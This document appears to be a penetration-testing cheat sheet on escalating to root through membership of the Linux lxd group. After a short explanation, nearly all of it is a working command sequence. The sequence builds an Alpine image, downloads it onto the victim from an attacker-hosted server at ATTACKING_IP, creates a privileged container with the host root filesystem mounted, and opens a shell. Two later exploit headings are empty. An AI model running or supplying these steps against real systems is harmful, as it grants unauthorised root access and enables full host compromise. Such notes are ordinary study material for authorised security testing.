Lxd

Theory

A member of the local lxd group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package.

LXD is a root process that carries out actions for anyone with write access to the LXD UNIX socket. It often does not attempt to match the privileges of the calling user. There are multiple methods to exploit this.

Practice

Exploit - 1

We can build an Alpine image using lxd-alpine-builder and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.

On the host, build an image as follow

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpines

Then, we can upload to the vulnerable server the tar.gz file

#On attacking machine
sudo python -m http.server 80

#On vulnerable server
wget http://<ATTACKING_IP>/apline-v3.10-x86_64-20191008_1227.tar.gz

On the vulnerable server, import the new image

# It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
lxc image import ./alpine*.tar.gz --alias myimage
lxc image list #List images

Now we can create the container

lxd init
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

Execute the container

lxc start mycontainer
lxc exec mycontainer /bin/sh

Exploit - 2

Exploit - With Internet

References

lxd/lxc Group - Privilege escalation - HackTricksbook.hacktricks.xyz

Lxd Privilege EscalationHacking Articles